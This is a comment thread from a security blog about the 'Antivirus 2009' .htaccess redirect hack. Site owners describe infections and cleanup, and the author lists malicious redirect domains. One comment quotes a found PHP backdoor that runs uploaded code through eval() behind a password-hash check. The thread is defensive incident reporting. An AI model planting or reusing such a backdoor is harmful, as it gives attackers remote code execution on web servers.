Comments on: Unmasking the Antivirus 2009 .htaccess Exploit. http://blog.unmaskparasites.com/2008/12/08/unmasking-the-antivirus-2009-htaccess-exploit/ Website insecurity by example Sat, 20 Mar 2010 16:18:55 +0000 http://wordpress.org/?v=2.9.1 hourly 1 By: Antivirus http://blog.unmaskparasites.com/2008/12/08/unmasking-the-antivirus-2009-htaccess-exploit/comment-page-1/#comment-6826 Antivirus Thu, 04 Mar 2010 20:24:35 +0000 http://blog.unmaskparasites.com/?p=15#comment-6826 I would recommend anyone who thinks they may be infected with the viruses this spreads, to do a complete OS re-install. This is the most thorough way of cleaning infections from your system, because some of these bugs really borough deep into the code. I would recommend anyone who thinks they may be infected with the viruses this spreads, to do a complete OS re-install. This is the most thorough way of cleaning infections from your system, because some of these bugs really borough deep into the code.

]]> By: alx http://blog.unmaskparasites.com/2008/12/08/unmasking-the-antivirus-2009-htaccess-exploit/comment-page-1/#comment-1460 alx Thu, 18 Jun 2009 17:52:58 +0000 http://blog.unmaskparasites.com/?p=15#comment-1460 Hi again, Just found out a new thing. Looking at my Status and Errors Report I find that somebody tried to access this file ( beta/img/.svn/tmp/ugatef.php ) 4 times. I look at the Date Over Time report of that file and I see that it is 4 times the same day. I download all the logs from that day and search for the file ugatef.php. After the 4 attemps I see that somebody access another file that shouldn't be on my structure ( /newsletter/content/aceheg.php ). In this file I find PHP code with these lines: (...) if (md5($_POST["p"])=="aace99428c50dbe965acc93f3f275cd3"){ if ($code = @fread(@fopen($HTTP_POST_FILES["f"]["tmp_name"],"rb"),$HTTP_POST_FILES["f"]["size"])){ eval($code); (...) If I understand correctly, from here a maliciuos user can execute PHP code as POST from a remote HTML form. Contact me if you want more info. Thanks, alx Hi again,

Just found out a new thing. Looking at my Status and Errors Report I find that somebody tried to access this file ( beta/img/.svn/tmp/ugatef.php ) 4 times.

I look at the Date Over Time report of that file and I see that it is 4 times the same day.

I download all the logs from that day and search for the file ugatef.php.

After the 4 attemps I see that somebody access another file that shouldn’t be on my structure ( /newsletter/content/aceheg.php ).

In this file I find PHP code with these lines:

(…)

if (md5($_POST["p"])==”aace99428c50dbe965acc93f3f275cd3″){ if ($code = @fread(@fopen($HTTP_POST_FILES["f"]["tmp_name"],”rb”),$HTTP_POST_FILES["f"]["size"])){ eval($code);

(…)

If I understand correctly, from here a maliciuos user can execute PHP code as POST from a remote HTML form.

Contact me if you want more info.

Thanks,
alx

]]> By: alx http://blog.unmaskparasites.com/2008/12/08/unmasking-the-antivirus-2009-htaccess-exploit/comment-page-1/#comment-1457 alx Thu, 18 Jun 2009 16:12:26 +0000 http://blog.unmaskparasites.com/?p=15#comment-1457 Hi, the same thing happend to our website. After a lot of searching we discovered the .htaccess and a rewrite to a fake blog in my server that had a javascript redirect to http:// scanpcsecurity . com The first time it happend I changed all the passwords, desactivated ssh access and disabled all ftp users. I am a Mac user and I stored the new password as text in my ftp application Cyberduck. I am still trying to figure out how it happened. Hi, the same thing happend to our website.
After a lot of searching we discovered the .htaccess and a rewrite to a fake blog in my server that had a javascript redirect to http:// scanpcsecurity . com

The first time it happend I changed all the passwords, desactivated ssh access and disabled all ftp users.

I am a Mac user and I stored the new password as text in my ftp application Cyberduck.

I am still trying to figure out how it happened.

]]> By: Anand http://blog.unmaskparasites.com/2008/12/08/unmasking-the-antivirus-2009-htaccess-exploit/comment-page-1/#comment-1410 Anand Wed, 10 Jun 2009 17:06:03 +0000 http://blog.unmaskparasites.com/?p=15#comment-1410 Thanks a lot for this great article! and keep writing! Regards, Anand Thanks a lot for this great article! and keep writing!

Regards,
Anand

]]> By: Aravindan C http://blog.unmaskparasites.com/2008/12/08/unmasking-the-antivirus-2009-htaccess-exploit/comment-page-1/#comment-445 Aravindan C Tue, 24 Mar 2009 10:41:14 +0000 http://blog.unmaskparasites.com/?p=15#comment-445 Hi, Thank you very much for this information. My website was leading to a malious site when it is searched on Yahoo / Google etc., but it worked fine if we type the name in the address bar. I was totally confused and after reading your article i found that there was an .htaccess exactly as mentioned above that redirects all my search engine traffic to 87 .248.180.90 Now that i removed that entry, my website is back to normal on the search engines. Thanks again for this article. Regards, Aravind. C Hi,

Thank you very much for this information. My website was leading to a malious site when it is searched on Yahoo / Google etc., but it worked fine if we type the name in the address bar. I was totally confused and after reading your article i found that there was an .htaccess exactly as mentioned above that redirects all my search engine traffic to 87 .248.180.90

Now that i removed that entry, my website is back to normal on the search engines.

Thanks again for this article.

Regards,
Aravind. C

]]> By: Mr Helpful http://blog.unmaskparasites.com/2008/12/08/unmasking-the-antivirus-2009-htaccess-exploit/comment-page-1/#comment-50 Mr Helpful Wed, 28 Jan 2009 16:43:14 +0000 http://blog.unmaskparasites.com/?p=15#comment-50 We’ve seen this type of attack here at work as well. Please see my comment (once moderated) on http://blog.unmaskparasites.com/2009/01/14/gogo2me-hidden-iframe-injection/ the root cause is the same, hijacked ftp accounts. We’ve seen this type of attack here at work as well. Please see my comment (once moderated) on http://blog.unmaskparasites.com/2009/01/14/gogo2me-hidden-iframe-injection/

the root cause is the same, hijacked ftp accounts.

]]> By: Denis http://blog.unmaskparasites.com/2008/12/08/unmasking-the-antivirus-2009-htaccess-exploit/comment-page-1/#comment-46 Denis Tue, 27 Jan 2009 18:02:51 +0000 http://blog.unmaskparasites.com/?p=15#comment-46 To avoid clutter, I will be adding new domain names of redirect sites and bogus Antivirus sites in this comment. softwarforgoodusers .cn frenchfriestaste .cn tourinternetgide .cn latenightclick .cn profileduser .cn browserpower .cn fulldeposite .cn hollywoodstarsnow .cn securityadvertisement .cn intendyoseeyou .cn softwaretripsgoeshere .cn discostylepromo .cn someonestrails .cn refereruser .cn orderyourdream .cn gonesurfing .cn worldwidesphere .cn getluckywebpagepromo .cn activeusersearch .cn styleout .cn goingdignity .cn wintertimessport .cn lostdomains .cn toplevelawards .cn hairstylezone .cn bestgossips .cn perfectclicks .cn greatwallnitro .cn controlledsurfaces .cn pleasentsurfing .cn saturationpower .cn fordgreatcars .cn teafuntrip .cn getveryluckytoday .cn prideandglorynow .cn worldcommercialbusiness .cn constructorwebspace .cn alaskatoursonline .cn softwareoverworld .cn tabletpccomputing .cn securedradiostation .cn high-protection .info computerantiviruslivescanner .com rapidantivirusonlinescan .com pro-antispyware-scanner .com premium-antivirus-scan .com premiumonlinescanner .com bestanti-virusscan .com fast-antispyware-scan .com fastantispywarescanner .com fast-antivirus-pro-scan .com antispywareonlinescanner .com antispywareprolivescan .com antispywareliveproscan .com antispywareprolivescanner .com antispywareinternetproscan .com antispyware-internet-scan .com antispyware-premium-scan .com antispyware-live-pro-scan .com antispyware-online-scan .com bestantispywarescan .com bestantispywarelivescan .com computerantivirusscanner .com computerantivirusproscan .com antimalware-pro-scanner .com anti-malware-pro-scanner .com anti-malware-pro-scan .com antimalware-live-scanner .com antimalwareliveproscanner .com antimalwareliveproscanner .com antimalwareliveproscan .com antimalware-online-scanner .com premiumantiviruscheck .com antimalwaresuperscanner .com onlineantivirusproscan .com bestantimalwaredefence .com liteantispywareproscanner .com liteantimalwarescanner .com lite-anti-virus-scan .com liveantimalwarescan .com liveantimalwarefastscnan .com pro-antimalware-scanner .com fastantimalwareproscanner .com best-antimalware-pro-scan .com bestantimalwarelivescanner .com To avoid clutter, I will be adding new domain names of redirect sites and bogus Antivirus sites in this comment.

softwarforgoodusers .cn
frenchfriestaste .cn
tourinternetgide .cn
latenightclick .cn
profileduser .cn
browserpower .cn
fulldeposite .cn
hollywoodstarsnow .cn
securityadvertisement .cn
intendyoseeyou .cn
softwaretripsgoeshere .cn
discostylepromo .cn
someonestrails .cn
refereruser .cn
orderyourdream .cn
gonesurfing .cn
worldwidesphere .cn
getluckywebpagepromo .cn
activeusersearch .cn
styleout .cn
goingdignity .cn
wintertimessport .cn
lostdomains .cn
toplevelawards .cn
hairstylezone .cn
bestgossips .cn
perfectclicks .cn
greatwallnitro .cn
controlledsurfaces .cn
pleasentsurfing .cn
saturationpower .cn
fordgreatcars .cn
teafuntrip .cn
getveryluckytoday .cn
prideandglorynow .cn
worldcommercialbusiness .cn
constructorwebspace .cn
alaskatoursonline .cn
softwareoverworld .cn
tabletpccomputing .cn
securedradiostation .cn

high-protection .info

computerantiviruslivescanner .com
rapidantivirusonlinescan .com
pro-antispyware-scanner .com
premium-antivirus-scan .com
premiumonlinescanner .com
bestanti-virusscan .com
fast-antispyware-scan .com
fastantispywarescanner .com
fast-antivirus-pro-scan .com
antispywareonlinescanner .com
antispywareprolivescan .com
antispywareliveproscan .com
antispywareprolivescanner .com
antispywareinternetproscan .com
antispyware-internet-scan .com
antispyware-premium-scan .com
antispyware-live-pro-scan .com
antispyware-online-scan .com
bestantispywarescan .com
bestantispywarelivescan .com
computerantivirusscanner .com
computerantivirusproscan .com
antimalware-pro-scanner .com
anti-malware-pro-scanner .com
anti-malware-pro-scan .com
antimalware-live-scanner .com
antimalwareliveproscanner .com
antimalwareliveproscanner .com
antimalwareliveproscan .com
antimalware-online-scanner .com
premiumantiviruscheck .com
antimalwaresuperscanner .com
onlineantivirusproscan .com
bestantimalwaredefence .com
liteantispywareproscanner .com
liteantimalwarescanner .com
lite-anti-virus-scan .com
liveantimalwarescan .com
liveantimalwarefastscnan .com
pro-antimalware-scanner .com
fastantimalwareproscanner .com
best-antimalware-pro-scan .com
bestantimalwarelivescanner .com

]]> By: Denis http://blog.unmaskparasites.com/2008/12/08/unmasking-the-antivirus-2009-htaccess-exploit/comment-page-1/#comment-45 Denis Tue, 27 Jan 2009 01:59:00 +0000 http://blog.unmaskparasites.com/?p=15#comment-45 I have more and more evidence that this has to do with compromised passwords. What FTP program did your friend use? Did he store the password in it or typed it in on every login? Is he on Mac or PC or Linux? I have more and more evidence that this has to do with compromised passwords.
What FTP program did your friend use? Did he store the password in it or typed it in on every login?
Is he on Mac or PC or Linux?

]]> By: Steerpike http://blog.unmaskparasites.com/2008/12/08/unmasking-the-antivirus-2009-htaccess-exploit/comment-page-1/#comment-44 Steerpike Tue, 27 Jan 2009 01:39:36 +0000 http://blog.unmaskparasites.com/?p=15#comment-44 Thanks a lot! My friend's website was hacked with this. Interestingly, his .htaccess file was already protected (644) so the only other possibilities are that his (shared) hosting service was hacked, or, his password was hacked (it was 'moderately strong' - Upper case, lower case, numbers, etc - though the letters were dictionary entries (similar to Bird54bird - would that be easily hacked?) Every directory in the site had a .htaccess.mal file, which seemed to be a copy of the bad .htaccess file, ready to be copied back perhaps. Thanks a lot! My friend’s website was hacked with this. Interestingly, his .htaccess file was already protected (644) so the only other possibilities are that his (shared) hosting service was hacked, or, his password was hacked (it was ‘moderately strong’ – Upper case, lower case, numbers, etc – though the letters were dictionary entries (similar to Bird54bird – would that be easily hacked?)

Every directory in the site had a .htaccess.mal file, which seemed to be a copy of the bad .htaccess file, ready to be copied back perhaps.

]]> By: Denis http://blog.unmaskparasites.com/2008/12/08/unmasking-the-antivirus-2009-htaccess-exploit/comment-page-1/#comment-14 Denis Tue, 13 Jan 2009 10:30:54 +0000 http://blog.unmaskparasites.com/?p=15#comment-14 Disabling the RewriteEngine will help until hackers modify/replace your .htaccess file next time. The better solution would be remove the malicious code from the .htaccess file and make it write-protected. Make sure to check the rest <a href="http://blog.unmaskparasites.com/2008/12/05/bogus-antivirus-2009-htaccess-exploit/" rel="nofollow">instructions</a> Disabling the RewriteEngine will help until hackers modify/replace your .htaccess file next time.

The better solution would be remove the malicious code from the .htaccess file and make it write-protected.

Make sure to check the rest instructions

]]>